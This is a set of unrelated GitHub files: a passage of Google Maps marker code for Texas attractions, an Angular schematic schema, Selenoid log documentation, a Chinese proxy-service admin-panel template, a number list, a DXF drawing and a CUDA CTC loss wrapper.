Garden<br />Dallas Arboretum and Botanical Garden<br />8525 Garland Rd, Dallas, TX 75218</h3>"}); infoWindows.push(infoWindow1); marker1 = new google.maps.Marker({ position: new google.maps.LatLng(32.8211475, -96.716681), options: markerOptions, title: "The Rory Meyers Children's Adventure Garden - Dallas Arboretum and Botanical Garden" }); google.maps.event.addListener(marker1, "mouseover", function() { for (var i = 0; i < infoWindows.length; i++) { infoWindows[i].close(); }; infoWindow1.open(map, marker1); }); var infoWindow2 = new google.maps.InfoWindow({ content: "<h3>Moody Gardens<br />1 Hope Blvd, Galveston, TX 77554</h3>"}); infoWindows.push(infoWindow2); marker2 = new google.maps.Marker({ position: new google.maps.LatLng(29.2730284, -94.8506598), options: markerOptions, title: "Moody Gardens" }); google.maps.event.addListener(marker2, "mouseover", function() { for (var i = 0; i < infoWindows.length; i++) { infoWindows[i].close(); }; infoWindow2.open(map, marker2); }); var infoWindow3 = new google.maps.InfoWindow({ content: "<h3>Space Center Houston<br />1601 E NASA Pkwy, Houston, TX 77058</h3>"}); infoWindows.push(infoWindow3); marker3 = new google.maps.Marker({ position: new google.maps.LatLng(29.549782, -95.0957914), options: markerOptions, title: "Space Center Houston" }); google.maps.event.addListener(marker3, "mouseover", function() { for (var i = 0; i < infoWindows.length; i++) { infoWindows[i].close(); }; infoWindow3.open(map, marker3); }); var infoWindow4 = new google.maps.InfoWindow({ content: "<h3>Children’s Museum of Houston<br />1500 Binz St, Houston, TX 77004</h3>"}); infoWindows.push(infoWindow4); marker4 = new google.maps.Marker({ position: new google.maps.LatLng(29.7225935, -95.3850803), options: markerOptions, title: "Children’s Museum of Houston" }); google.maps.event.addListener(marker4, "mouseover", function() { for (var i = 0; i < infoWindows.length; i++) { infoWindows[i].close(); }; infoWindow4.open(map, marker4); }); var infoWindow5 = new google.maps.InfoWindow({ content: "<h3>Schlitterbahn Waterpark<br />588 S Union Ave, New Braunfels, TX 78130</h3>"}); infoWindows.push(infoWindow5); marker5 = new google.maps.Marker({ position: new google.maps.LatLng(29.706318, -98.1173013), options: markerOptions, title: "Schlitterbahn Waterpark" }); google.maps.event.addListener(marker5, "mouseover", function() { for (var i = 0; i < infoWindows.length; i++) { infoWindows[i].close(); }; infoWindow5.open(map, marker5); }); var infoWindow6 = new google.maps.InfoWindow({ content: "<h3>The Alamo<br />300 Alamo Plaza, San Antonio, TX 78205</h3>"}); infoWindows.push(infoWindow6); marker6 = new google.maps.Marker({ position: new google.maps.LatLng(29.425745, -98.4861562), options: markerOptions, title: "The Alamo" }); google.maps.event.addListener(marker6, "mouseover", function() { for (var i = 0; i < infoWindows.length; i++) { infoWindows[i].close(); }; infoWindow6.open(map, marker6); }); var infoWindow7 = new google.maps.InfoWindow({ content: "<h3>Sea World<br />10500 Sea World Dr, San Antonio, TX‎</h3>"}); infoWindows.push(infoWindow7); marker7 = new google.maps.Marker({ position: new google.maps.LatLng(29.4583528, -98.7001956), options: markerOptions, title: "Sea World" }); google.maps.event.addListener(marker7, "mouseover", function() { for (var i = 0; i < infoWindows.length; i++) { infoWindows[i].close(); }; infoWindow7.open(map, marker7); }); var infoWindow8 = new google.maps.InfoWindow({ content: "<h3>Dinosaur Valley State Park<br />1629 Park Rd 59, Glen Rose, TX 76043</h3>"}); infoWindows.push(infoWindow8); marker8 = new google.maps.Marker({ position: new google.maps.LatLng(32.2480584, -97.8167426), options: markerOptions, title: "Dinosaur Valley State Park" }); google.maps.event.addListener(marker8, "mouseover", function() { for (var i = 0; i < infoWindows.length; i++) { infoWindows[i].close(); }; infoWindow8.open(map, marker8); }); var infoWindow9 = new google.maps.InfoWindow({ content: "<h3>Fort Worth Zoo<br />1989 Colonial Pkwy, Fort Worth, TX 76110</h3>"}); infoWindows.push(infoWindow9); marker9 = new google.maps.Marker({ position: new google.maps.LatLng(32.7210971, -97.3560292), options: markerOptions, title: "Fort Worth Zoo" }); google.maps.event.addListener(marker9, "mouseover", function() { for (var i = 0; i < infoWindows.length; i++) { infoWindows[i].close(); }; infoWindow9.open(map, marker9); }); var infoWindow10 = new google.maps.InfoWindow({ content: "<h3>Six Flags Over Texas<br />2201 E Road to Six Flags St, Arlington, TX 76010</h3>"}); infoWindows.push(infoWindow10); marker10 = new google.maps.Marker({ position: new google.maps.LatLng(32.7524928, -97.0699775), options: markerOptions, title: "Six Flags Over Texas" }); google.maps.event.addListener(marker10, "mouseover", function() { for (var i = 0; i < infoWindows.length; i++) { infoWindows[i].close(); }; infoWindow10.open(map, marker10); }); </script> </head> <body> <div id="map-canvas"></div> <!-- <a href="https://www.chevrolet.com/"><img src="images/chevrolet-logo.png" width="400px" style="position: absolute; bottom: 35px; left: 7px;" /></a> --> </body> </html>
{ "pile_set_name": "Github" }
{ "$schema": "http://json-schema.org/schema", "id": "timepicker-scrollto", "title": "timepicker-scrollto", "type": "object", "properties": { "path": { "type": "string", "format": "path", "description": "The path to create the component.", "visible": false }, "project": { "type": "string", "description": "The name of the project.", "$default": { "$source": "projectName" } }, "name": { "type": "string", "description": "The name of the component.", "$default": { "$source": "argv", "index": 0 } }, "inlineStyle": { "description": "Specifies if the style will be in the ts file.", "type": "boolean", "default": false, "alias": "s" }, "inlineTemplate": { "description": "Specifies if the template will be in the ts file.", "type": "boolean", "default": false, "alias": "t" }, "viewEncapsulation": { "description": "Specifies the view encapsulation strategy.", "enum": [ "Emulated", "Native", "None", "ShadowDom" ], "type": "string", "alias": "v" }, "changeDetection": { "description": "Specifies the change detection strategy.", "enum": [ "Default", "OnPush" ], "type": "string", "default": "Default", "alias": "c" }, "prefix": { "type": "string", "description": "The prefix to apply to generated selectors.", "alias": "p", "oneOf": [ { "maxLength": 0 }, { "minLength": 1, "format": "html-selector" } ] }, "styleext": { "description": "The file extension to be used for style files.", "type": "string", "default": "css" }, "spec": { "type": "boolean", "description": "Specifies if a spec file is generated.", "default": true }, "flat": { "type": "boolean", "description": "Flag to indicate if a dir is created.", "default": false }, "skipImport": { "type": "boolean", "description": "Flag to skip the module import.", "default": false }, "selector": { "type": "string", "format": "html-selector", "description": "The selector to use for the component." }, "module": { "type": "string", "description": "Allows specification of the declaring module.", "alias": "m" }, "export": { "type": "boolean", "default": false, "description": "Specifies if declaring module exports the component." }, "entryComponent": { "type": "boolean", "default": false, "description": "Specifies if the component is an entry component of declaring module." }, "lintFix": { "type": "boolean", "default": false, "description": "Specifies whether to apply lint fixes after generating the component." } }, "required": [ "name" ] }
{ "pile_set_name": "Github" }
== Log Files A typical log file looks like the following: ``` 2017/11/01 19:12:38 [-] [NEW_REQUEST] 2017/11/01 19:12:38 [-] [NEW_REQUEST_ACCEPTED] 2017/11/01 19:12:38 [41301] [LOCATING_SERVICE] [firefox-45.0] 2017/11/01 19:12:38 [41301] [USING_DOCKER] [firefox-45.0] 2017/11/01 19:12:38 [41301] [CREATING_CONTAINER] [selenoid/firefox:45.0] 2017/11/01 19:12:38 [41301] [STARTING_CONTAINER] [selenoid/firefox:45.0] [19760edf330a87531eb2109cfbf1bd4b14c739afa08fe133eb1b9813b2ac6c31] 2017/11/01 19:12:39 [41301] [CONTAINER_STARTED] [selenoid/firefox:45.0] [19760edf330a87531eb2109cfbf1bd4b14c739afa08fe133eb1b9813b2ac6c31] [896.680954ms] 2017/11/01 19:12:40 [41301] [SERVICE_STARTED] [selenoid/firefox:45.0] [19760edf330a87531eb2109cfbf1bd4b14c739afa08fe133eb1b9813b2ac6c31] [605.184606ms] 2017/11/01 19:12:40 [41301] [PROXY_TO] [selenoid/firefox:45.0] [19760edf330a87531eb2109cfbf1bd4b14c739afa08fe133eb1b9813b2ac6c31] [http://172.17.0.3:4444/wd/hub] 2017/11/01 19:12:40 [41301] [SESSION_ATTEMPTED] [test-quota] [http://172.17.0.3:4444/wd/hub] [1] 2017/11/01 19:12:42 [41301] [SESSION_CREATED] [test-quota] [345bb886-7026-46d7-82d4-4788c0460110] [http://172.17.0.3:4444/wd/hub] [1] [4.155712239s] .... 2017/11/01 19:14:30 [SESSION_DELETED] [345bb886-7026-46d7-82d4-4788c0460110] ``` Every line contains: .Log entry contents |=== | Field | Example | Notes | Time | 2017/11/01 19:12:42 | - | Request counter | [41301] | So far as session ID is unknown when doing attempts this counter is used to find all session attempts for each new session request. | Status | [SESSION_ATTEMPTED] | See table below for complete list of statuses. | Browser | [firefox-45.0] | Name and version. Only present for new session requests. | Attempt number | [1] | For SESSION_ATTEMPTED entries means current attempt number. For SESSION_CREATED entries means total number of attempts to create this session. | Session ID | [345bb886-7026-46d7-82d4-4788c0460110] | This value is unique for every browser session | Session start time | [4.15s] | - |=== The following statuses are available: .Log entry statuses |=== | Status | Description | ALLOCATED_PORT | Successfully allocated port for driver process | ALLOCATING_PORT | Trying to allocate random free port for driver process | BAD_JSON_FORMAT | User request does not contain valid Selenium data | BAD_SCREEN_RESOLUTION | User requested to set wrong custom screen resolution | BAD_TIMEZONE | User requested to set wrong custom time zone inside container | BAD_VIDEO_SCREEN_SIZE | User requested to capture video with wrong screen size | CLIENT_DISCONNECTED | User disconnected and session was interrupted | CONTAINER_LOGS | User requested container logs | CONTAINER_LOGS_ERROR | User requested container logs | CONTAINER_LOGS_DISCONNECTED | User logs client disconnected | CONTAINER_REMOVED | Docker container was successfully removed | CONTAINER_STARTED | Docker container has successfully started | FAILED_TO_COPY_LOGS | Failed to copy logs from Docker container | CREATING_CONTAINER | Docker container with browser is creating | DEFAULT_VERSION | Selenoid is using default browser version | DELETED_LOG_FILE | Log file was deleted by user | DELETED_VIDEO_FILE | Video file was deleted by user | DEVTOOLS_CLIENT_DISCONNECTED | User devtools client disconnected | DEVTOOLS_DISABLED | An attempt to access browser devtools when it is not enabled with capability | DEVTOOLS_ERROR | An error occurred when trying to send devtools traffic | DEVTOOLS_SESSION_CLOSED | Sending devtools traffic was stopped | DOWNLOADING_FILE | User requested to download file from browser container | ENVIRONMENT_NOT_AVAILABLE | Browser with desired name and version does not exist | FAILED_TO_REMOVE_CONTAINER | Failed to remove Docker container | FAILED_TO_TERMINATE_PROCESS | An error occurred while terminating driver process | INIT | Server is starting | LOG_LISTING | Received a request to list all log files | LOG_ERROR | An error occurred when post-processing session logs | METADATA | Metadata processing messages | NEW_REQUEST | New user request arrived and was placed to queue | NEW_REQUEST_ACCEPTED | Started processing new user request | PROCESS_STARTED | Driver process successfully started | PROXY_TO | Starting to proxy requests to running container or driver process | REMOVING_CONTAINER | Docker container with browser or video recorder is being removed | SERVICE_STARTED | Successfully started Docker container or driver binary | SERVICE_STARTUP_FAILED | Failed to start Docker container or driver binary | SESSION_ATTEMPTED | Started Docker container or driver binary and trying to create a new session with it | SESSION_ATTEMPT_TIMED_OUT | An attempt to create a new session timed out | SESSION_CREATED | A new session was created and returned to user | SESSION_TIMED_OUT | Existing session was terminated by timeout | SESSION_DELETED | Existing session was deleted by user request | SESSION_FAILED | An attempt to create a new session failed - user receives an error | SESSION_NOT_FOUND | Requested VNC or logs for unknown session. | STARTING_CONTAINER | Docker container with browser was created and is starting | STARTING_PROCESS | Starting driver process | SHUTTING_DOWN | Server is stopping | TERMINATING_PROCESS | Stopping driver process | TERMINATED_PROCESS | Driver process was successfully stopped | UPLOADING_FILE | An issue occurred while uploading file | UPLOADED_FILE | File successfully uploaded | VIDEO_LISTING | Received a request to list all videos | VIDEO_ERROR | An error occurred when post-processing recorded video | VNC_CLIENT_DISCONNECTED | User VNC client disconnected | VNC_ENABLED | User requested VNC traffic | VNC_ERROR | An error occurred when trying to send VNC traffic | VNC_SESSION_CLOSED | Sending VNC traffic was stopped | VNC_NOT_ENABLED | User requested VNC traffic but did not specify `enableVNC` capability |===
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html lang="zh-cn"> <head> <meta charset="UTF-8"> <meta content="IE=edge" http-equiv="X-UA-Compatible"> <meta content="initial-scale=1.0, maximum-scale=1.0, user-scalable=no, width=device-width" name="viewport"> <meta name="theme-color" content="#4285f4"> <title>{$config["appName"]}</title> <!-- css --> <link href="/theme/material/css/base.min.css" rel="stylesheet"> <link href="/theme/material/css/project.min.css" rel="stylesheet"> <link href="https://fonts.loli.net/css?family=Roboto:300,300italic,400,400italic,500,500italic|Material+Icons" rel="stylesheet"> <link href="https://cdn.jsdelivr.net/npm/material-design-lite@1.1.0/dist/material.min.css" rel="stylesheet"> <link href="https://cdn.jsdelivr.net/gh/DataTables/DataTables@1.10.19/media/css/dataTables.material.min.css" rel="stylesheet"> <!-- js --> <script src="https://cdn.jsdelivr.net/npm/jquery@3.2.1"></script> <!-- favicon --> <!-- ... --> <style> body { position: relative; } .table-responsive { background: white; } .dropdown-menu.dropdown-menu-right a { color: #212121; } a[href='#ui_menu'] { color: #212121; } </style> </head> <body class="page-brand"> <header class="header header-red header-transparent header-waterfall ui-header"> <ul class="nav nav-list pull-left"> <div> <a data-toggle="menu" href="#ui_menu"> <span class="icon icon-lg">menu</span> </a> </div> </ul> <ul class="nav nav-list pull-right"> <div class="dropdown margin-right"> <a class="dropdown-toggle padding-left-no padding-right-no" data-toggle="dropdown"> {if $user->isLogin} <span class="access-hide">{$user->user_name}</span> <span class="avatar avatar-sm"><img alt="alt text for John Smith avatar" src="{$user->gravatar}"></span> </a> <ul class="dropdown-menu dropdown-menu-right"> <li> <a class="waves-attach" href="/user/"><span class="icon icon-lg margin-right">account_box</span>用户中心</a> </li> <li> <a class="waves-attach" href="/user/logout"><span class="icon icon-lg margin-right">exit_to_app</span>登出</a> </li> </ul> {else} <span class="access-hide">未登录</span> <span class="avatar avatar-sm"><img alt="alt text for John Smith avatar" src="/theme/material/images/users/avatar-001.jpg"></span> </a> <ul class="dropdown-menu dropdown-menu-right"> <li> <a class="waves-attach" href="/auth/login"><span class="icon icon-lg margin-right">account_box</span>登录</a> </li> <li> <a class="waves-attach" href="/auth/register"><span class="icon icon-lg margin-right">pregnant_woman</span>注册</a> </li> </ul> {/if} </div> </ul> </header> <nav aria-hidden="true" class="menu menu-left nav-drawer nav-drawer-md" id="ui_menu" tabindex="-1"> <div class="menu-scroll"> <div class="menu-content"> <a class="menu-logo" href="/"><i class="icon icon-lg">person_pin</i>&nbsp;管理面板</a> <ul class="nav"> <li> <a class="waves-attach" data-toggle="collapse" href="#ui_menu_me">我的</a> <ul class="menu-collapse collapse in" id="ui_menu_me"> <li><a href="/admin"><i class="icon icon-lg">business_center</i>&nbsp;系统概览</a></li> <li><a href="/admin/announcement"><i class="icon icon-lg">announcement</i>&nbsp;公告管理</a></li> <li><a href="/admin/ticket"><i class="icon icon-lg">question_answer</i>&nbsp;工单管理</a></li> <li><a href="/admin/auto"><i class="icon icon-lg">flash_auto</i>&nbsp;下发命令</a></li> </ul> <a class="waves-attach" data-toggle="collapse" href="#ui_menu_node">节点</a> <ul class="menu-collapse collapse in" id="ui_menu_node"> <li><a href="/admin/node"><i class="icon icon-lg">router</i>&nbsp;节点列表</a></li> <li><a href="/admin/trafficlog"><i class="icon icon-lg">traffic</i>&nbsp;流量记录</a></li> <li><a href="/admin/block"><i class="icon icon-lg">dialer_sip</i>&nbsp;已封禁IP</a></li> <li><a href="/admin/unblock"><i class="icon icon-lg">dialer_sip</i>&nbsp;已解封IP</a></li> </ul> <a class="waves-attach" data-toggle="collapse" href="#ui_menu_user">用户</a> <ul class="menu-collapse collapse in" id="ui_menu_user"> <li><a href="/admin/user"><i class="icon icon-lg">supervisor_account</i>&nbsp;用户列表</a></li> <li><a href="/admin/relay"><i class="icon icon-lg">compare_arrows</i>&nbsp;中转规则</a></li> <li><a href="/admin/invite"><i class="icon icon-lg">loyalty</i>&nbsp;邀请与返利</a></li> <li><a href="/admin/login"><i class="icon icon-lg">text_fields</i>&nbsp;登录记录</a></li> <li><a href="/admin/alive"><i class="icon icon-lg">important_devices</i>&nbsp;在线IP</a></li> </ul> <a class="waves-attach" data-toggle="collapse" href="#ui_menu_detect">审计</a> <ul class="menu-collapse collapse in" id="ui_menu_detect"> <li><a href="/admin/detect"><i class="icon icon-lg">account_balance</i>&nbsp;审计规则</a></li> <li><a href="/admin/detect/log"><i class="icon icon-lg">assignment_late</i>&nbsp;审计记录</a></li> </ul> <a class="waves-attach" data-toggle="collapse" href="#ui_menu_trade">交易</a> <ul class="menu-collapse collapse in" id="ui_menu_trade"> <li><a href="/admin/code"><i class="icon icon-lg">code</i>&nbsp;充值{if $config['enable_donate']=='true'}与捐赠{/if}记录</a></li> <li><a href="/admin/shop"><i class="icon icon-lg">shop</i>&nbsp;商品</a></li> <li><a href="/admin/coupon"><i class="icon icon-lg">card_giftcard</i>&nbsp;优惠码</a></li> <li><a href="/admin/bought"><i class="icon icon-lg">shopping_cart</i>&nbsp;购买记录</a></li> {if $config['payment_system']=='chenAlipay'} <li><a href="/admin/editConfig"><i class="icon icon-lg">shopping_cart</i>&nbsp;支付设置</a></li> {/if} </ul> <li><a href="/user"><i class="icon icon-lg">person</i>&nbsp;用户中心</a></li> </li> </ul> </div> </div> </nav>
{ "pile_set_name": "Github" }
5 4 21 9 12 5 5 10 20 7 8 11 5 3 12 7 10 9 5 7 9 12 12 4 13 5 5 19 10 13 12 7 12 19 7 10 12 3 23 9 12 7 10 11 12 16 5 20 7 7 11 13 9 13 12 13 17 18 11 18 24 23 11 16 25 25 35 12 20 9 30 13 17 23 24 20 25 29 12 14 24 22 49 11 23 23 25 20 45 19 26 10 28 31 24 41 38 16 29 28 34 28 31 36 27 38 37 29 24 37 19 43 20 20 18 32 29 30 30 41 24 29 14 36 41 40 29 31 27 31 31 36 24 28 27 26 43 28 35 14 28 37 35 14 19 32 21 21 26 37 47 32 36 24 39 34 22 24 35 29 30 32 21 30 30 21 43 22 17 11 32 11 17 21 35 16 11 24 27 31 26 16 35 32 11 34 12 21 41 50 36 33 32 23 16 36 23 40 29 36 26 48 36 31 24 48 31 37 25 25 18 25 50 37 30 22 27 29 17 41 5 21 27 44 33 29 25 16 20 35 30 28 41 28 7 17 23 23 13 24 18 12 22 22 13 28 22 24 22 15 11 23 44 34 7 28 23 21 24 21 25 28 30 19 21 33 22 18 10 25 16 9 22 25 20 12 36 17 22 28 30 20 37 33 42 23 22 30
{ "pile_set_name": "Github" }
0 SECTION 2 HEADER 9 $ACADVER 1 AC1009 9 $DWGCODEPAGE 3 ansi_1252 9 $INSBASE 10 0.0 20 0.0 30 0.0 9 $EXTMIN 10 1.000000000000000E+20 20 1.000000000000000E+20 30 1.000000000000000E+20 9 $EXTMAX 10 -1.000000000000000E+20 20 -1.000000000000000E+20 30 -1.000000000000000E+20 9 $LIMMIN 10 0.0 20 0.0 9 $LIMMAX 10 12.0 20 9.0 9 $ORTHOMODE 70 0 9 $REGENMODE 70 1 9 $FILLMODE 70 1 9 $QTEXTMODE 70 0 9 $MIRRTEXT 70 1 9 $DRAGMODE 70 2 9 $LTSCALE 40 1.0 9 $OSMODE 70 37 9 $ATTMODE 70 1 9 $TEXTSIZE 40 0.2 9 $TRACEWID 40 0.05 9 $TEXTSTYLE 7 STANDARD 9 $CLAYER 8 DEFAULT 9 $CELTYPE 6 BYLAYER 9 $CECOLOR 62 256 9 $DIMSCALE 40 1.0 9 $DIMASZ 40 0.18 9 $DIMEXO 40 0.0625 9 $DIMDLI 40 0.38 9 $DIMRND 40 0.0 9 $DIMDLE 40 0.0 9 $DIMEXE 40 0.18 9 $DIMTP 40 0.0 9 $DIMTM 40 0.0 9 $DIMTXT 40 0.18 9 $DIMCEN 40 0.09 9 $DIMTSZ 40 0.0 9 $DIMTOL 70 0 9 $DIMLIM 70 0 9 $DIMTIH 70 1 9 $DIMTOH 70 1 9 $DIMSE1 70 0 9 $DIMSE2 70 0 9 $DIMTAD 70 0 9 $DIMZIN 70 0 9 $DIMBLK 1 9 $DIMASO 70 1 9 $DIMSHO 70 1 9 $DIMPOST 1 9 $DIMAPOST 1 9 $DIMALT 70 0 9 $DIMALTD 70 2 9 $DIMALTF 40 25.4 9 $DIMLFAC 40 1.0 9 $DIMTOFL 70 0 9 $DIMTVP 40 0.0 9 $DIMTIX 70 0 9 $DIMSOXD 70 0 9 $DIMSAH 70 0 9 $DIMBLK1 1 9 $DIMBLK2 1 9 $DIMSTYLE 2 STANDARD_ACAD 9 $DIMCLRD 70 0 9 $DIMCLRE 70 0 9 $DIMCLRT 70 0 9 $DIMTFAC 40 1.0 9 $DIMGAP 40 0.09 9 $LUNITS 70 2 9 $LUPREC 70 3 9 $SKETCHINC 40 0.1 9 $FILLETRAD 40 0.5 9 $AUNITS 70 0 9 $AUPREC 70 0 9 $MENU 1 . 9 $ELEVATION 40 0.0 9 $PELEVATION 40 0.0 9 $THICKNESS 40 0.0 9 $LIMCHECK 70 0 9 $CHAMFERA 40 0.0 9 $CHAMFERB 40 0.0 9 $SKPOLY 70 0 9 $TDCREATE 40 2458652.55362765 9 $TDUPDATE 40 2458652.553645012 9 $TDINDWG 40 0.0000000116 9 $TDUSRTIMER 40 0.0000000116 9 $USRTIMER 70 1 9 $ANGBASE 50 0.0 9 $ANGDIR 70 0 9 $PDMODE 70 0 9 $PDSIZE 40 0.0 9 $PLINEWID 40 0.0 9 $COORDS 70 1 9 $SPLFRAME 70 0 9 $SPLINETYPE 70 6 9 $SPLINESEGS 70 8 9 $ATTDIA 70 0 9 $ATTREQ 70 1 9 $HANDLING 70 1 9 $HANDSEED 5 90 9 $SURFTAB1 70 6 9 $SURFTAB2 70 6 9 $SURFTYPE 70 6 9 $SURFU 70 6 9 $SURFV 70 6 9 $UCSNAME 2 9 $UCSORG 10 0.0 20 0.0 30 0.0 9 $UCSXDIR 10 1.0 20 0.0 30 0.0 9 $UCSYDIR 10 0.0 20 1.0 30 0.0 9 $PUCSNAME 2 9 $PUCSORG 10 0.0 20 0.0 30 0.0 9 $PUCSXDIR 10 1.0 20 0.0 30 0.0 9 $PUCSYDIR 10 0.0 20 1.0 30 0.0 9 $USERI1 70 0 9 $USERI2 70 0 9 $USERI3 70 0 9 $USERI4 70 0 9 $USERI5 70 0 9 $USERR1 40 0.0 9 $USERR2 40 0.0 9 $USERR3 40 0.0 9 $USERR4 40 0.0 9 $USERR5 40 0.0 9 $WORLDVIEW 70 1 9 $SHADEDGE 70 3 9 $SHADEDIF 70 70 9 $TILEMODE 70 1 9 $MAXACTVP 70 64 9 $PLIMCHECK 70 0 9 $PEXTMIN 10 1.000000000000000E+20 20 1.000000000000000E+20 30 1.000000000000000E+20 9 $PEXTMAX 10 -1.000000000000000E+20 20 -1.000000000000000E+20 30 -1.000000000000000E+20 9 $PLIMMIN 10 0.0 20 0.0 9 $PLIMMAX 10 12.0 20 9.0 9 $UNITMODE 70 0 9 $VISRETAIN 70 1 9 $PLINEGEN 70 0 9 $PSLTSCALE 70 1 0 ENDSEC 0 SECTION 2 TABLES 0 TABLE 2 VPORT 70 1 0 VPORT 2 *ACTIVE 70 0 10 0.0 20 0.0 11 1.0 21 1.0 12 10.42990654205607 22 4.5 13 0.0 23 0.0 14 0.5 24 0.5 15 0.5 25 0.5 16 0.0 26 0.0 36 1.0 17 0.0 27 0.0 37 0.0 40 9.0 41 1.972972972850329 42 50.0 43 0.0 44 0.0 50 0.0 51 0.0 71 0 72 100 73 1 74 3 75 0 76 0 77 0 78 0 0 ENDTAB 0 TABLE 2 LTYPE 70 1 0 LTYPE 2 CONTINUOUS 70 0 3 Solid line 72 65 73 0 40 0.0 0 ENDTAB 0 TABLE 2 LAYER 70 2 0 LAYER 2 0 70 0 62 7 6 CONTINUOUS 0 LAYER 2 DEFAULT 70 0 62 7 6 CONTINUOUS 0 ENDTAB 0 TABLE 2 STYLE 70 1 0 STYLE 2 STANDARD 70 0 40 0.0 41 1.0 50 0.0 71 0 42 0.2 3 txt 4 0 ENDTAB 0 TABLE 2 VIEW 70 0 0 ENDTAB 0 TABLE 2 UCS 70 0 0 ENDTAB 0 TABLE 2 APPID 70 1 0 APPID 2 ACAD 70 0 0 ENDTAB 0 TABLE 2 DIMSTYLE 70 1 0 DIMSTYLE 2 STANDARD_ACAD 70 0 3 4 5 6 7 40 1.0 41 0.18 42 0.0625 43 0.38 44 0.18 45 0.0 46 0.0 47 0.0 48 0.0 140 0.18 141 0.09 142 0.0 143 25.4 144 1.0 145 0.0 146 1.0 147 0.09 71 0 72 0 73 1 74 1 75 0 76 0 77 0 78 0 170 0 171 2 172 0 173 0 174 0 175 0 176 0 177 0 178 0 0 ENDTAB 0 ENDSEC 0 SECTION 2 BLOCKS 0 BLOCK 8 0 2 $MODEL_SPACE 70 0 10 0.0 20 0.0 30 0.0 3 $MODEL_SPACE 1 0 ENDBLK 5 21 8 0 0 BLOCK 67 1 8 0 2 $PAPER_SPACE 70 0 10 0.0 20 0.0 30 0.0 3 $PAPER_SPACE 1 0 ENDBLK 5 1D 67 1 8 0 0 ENDSEC 0 SECTION 2 ENTITIES 0 POLYLINE 5 6F 8 DEFAULT 66 1 10 0.0 20 0.0 30 0.0 70 1 0 VERTEX 5 70 8 DEFAULT 10 25.0 20 25.0 30 0.0 0 VERTEX 5 71 8 DEFAULT 10 35.0 20 25.0 30 0.0 0 VERTEX 5 72 8 DEFAULT 10 35.0 20 35.0 30 0.0 0 VERTEX 5 73 8 DEFAULT 10 25.0 20 35.0 30 0.0 0 SEQEND 5 74 8 DEFAULT 0 POLYLINE 5 75 8 DEFAULT 66 1 10 0.0 20 0.0 30 0.0 70 1 0 VERTEX 5 76 8 DEFAULT 10 125.0 20 25.0 30 0.0 0 VERTEX 5 77 8 DEFAULT 10 135.0 20 25.0 30 0.0 0 VERTEX 5 78 8 DEFAULT 10 135.0 20 35.0 30 0.0 0 VERTEX 5 79 8 DEFAULT 10 125.0 20 35.0 30 0.0 0 SEQEND 5 7A 8 DEFAULT 0 CIRCLE 5 7B 8 DEFAULT 10 230.0 20 30.0 30 0.0 40 4.999999999999972 0 CIRCLE 5 7C 8 DEFAULT 10 230.0 20 30.0 30 0.0 40 30.0 0 POLYLINE 5 7D 8 DEFAULT 66 1 10 0.0 20 0.0 30 0.0 70 1 0 VERTEX 5 7E 8 DEFAULT 10 130.0 20 -12.42640687119285 30 0.0 0 VERTEX 5 7F 8 DEFAULT 10 172.4264068711929 20 30.0 30 0.0 0 VERTEX 5 80 8 DEFAULT 10 130.0 20 72.42640687119285 30 0.0 0 VERTEX 5 81 8 DEFAULT 10 87.57359312880715 20 30.0 30 0.0 0 SEQEND 5 82 8 DEFAULT 0 POLYLINE 5 83 8 DEFAULT 66 1 10 0.0 20 0.0 30 0.0 70 1 0 VERTEX 5 84 8 DEFAULT 10 0.0 20 0.0 30 0.0 0 VERTEX 5 85 8 DEFAULT 10 60.0 20 0.0 30 0.0 0 VERTEX 5 86 8 DEFAULT 10 60.0 20 60.0 30 0.0 0 VERTEX 5 87 8 DEFAULT 10 0.0 20 60.0 30 0.0 0 SEQEND 5 88 8 DEFAULT 0 ENDSEC 0 EOF
{ "pile_set_name": "Github" }
#include <cstddef> #include <iostream> #include <algorithm> #include "caffe/ctc/ctcpp.hpp" #include "caffe/ctc/gpu_ctc.h" namespace CTC { template<typename Dtype> ctcStatus_t compute_ctc_loss_gpu(const Dtype* const activations, Dtype* gradients, const int* const flat_labels, const int* const label_lengths, const int* const input_lengths, int alphabet_size, int minibatch, Dtype *costs, void *workspace, ctcOptions options) { if (activations == nullptr || flat_labels == nullptr || label_lengths == nullptr || input_lengths == nullptr || costs == nullptr || workspace == nullptr || alphabet_size <= 0 || minibatch <= 0) return CTC_STATUS_INVALID_VALUE; GpuCTC<Dtype> ctc(alphabet_size, minibatch, workspace, options.stream, options.blank_label); if (gradients != NULL) return ctc.cost_and_grad(activations, gradients, costs, flat_labels, label_lengths, input_lengths); else return ctc.score_forward(activations, costs, flat_labels, label_lengths, input_lengths); } template <typename Dtype> ctcStatus_t get_workspace_size_gpu(const int* const label_lengths, const int* const input_lengths, int alphabet_size, int minibatch, ctcOptions options, size_t* size_bytes) { if (label_lengths == nullptr || input_lengths == nullptr || size_bytes == nullptr || alphabet_size <= 0 || minibatch <= 0) return CTC_STATUS_INVALID_VALUE; // This is the max of all S and T for all examples in the minibatch. int maxL = *std::max_element(label_lengths, label_lengths + minibatch); int maxT = *std::max_element(input_lengths, input_lengths + minibatch); const int S = 2 * maxL + 1; *size_bytes = 0; // GPU storage //nll_forward, nll_backward *size_bytes += 2 * sizeof(Dtype) * minibatch; //repeats *size_bytes += sizeof(int) * minibatch; //label offsets *size_bytes += sizeof(int) * minibatch; //utt_length *size_bytes += sizeof(int) * minibatch; //label lengths *size_bytes += sizeof(int) * minibatch; //labels without blanks - overallocate for now *size_bytes += sizeof(int) * maxL * minibatch; //labels with blanks *size_bytes += sizeof(int) * S * minibatch; //alphas *size_bytes += sizeof(Dtype) * S * maxT * minibatch; //denoms *size_bytes += sizeof(Dtype) * maxT * minibatch; //probs (since we will pass in activations) *size_bytes += sizeof(Dtype) * alphabet_size * maxT * minibatch; return CTC_STATUS_SUCCESS; } template ctcStatus_t compute_ctc_loss_gpu<float>(const float* const activations, float* gradients, const int* const flat_labels, const int* const label_lengths, const int* const input_lengths, int alphabet_size, int minibatch, float *costs, void *workspace, ctcOptions options); template ctcStatus_t compute_ctc_loss_gpu<double>(const double* const activations, double* gradients, const int* const flat_labels, const int* const label_lengths, const int* const input_lengths, int alphabet_size, int minibatch, double *costs, void *workspace, ctcOptions); template ctcStatus_t get_workspace_size_gpu<float>(const int* const label_lengths, const int* const input_lengths, int alphabet_size, int minibatch, ctcOptions, size_t* size_bytes); template ctcStatus_t get_workspace_size_gpu<double>(const int* const label_lengths, const int* const input_lengths, int alphabet_size, int minibatch, ctcOptions, size_t* size_bytes); } // namespace ctc
{ "pile_set_name": "Github" }
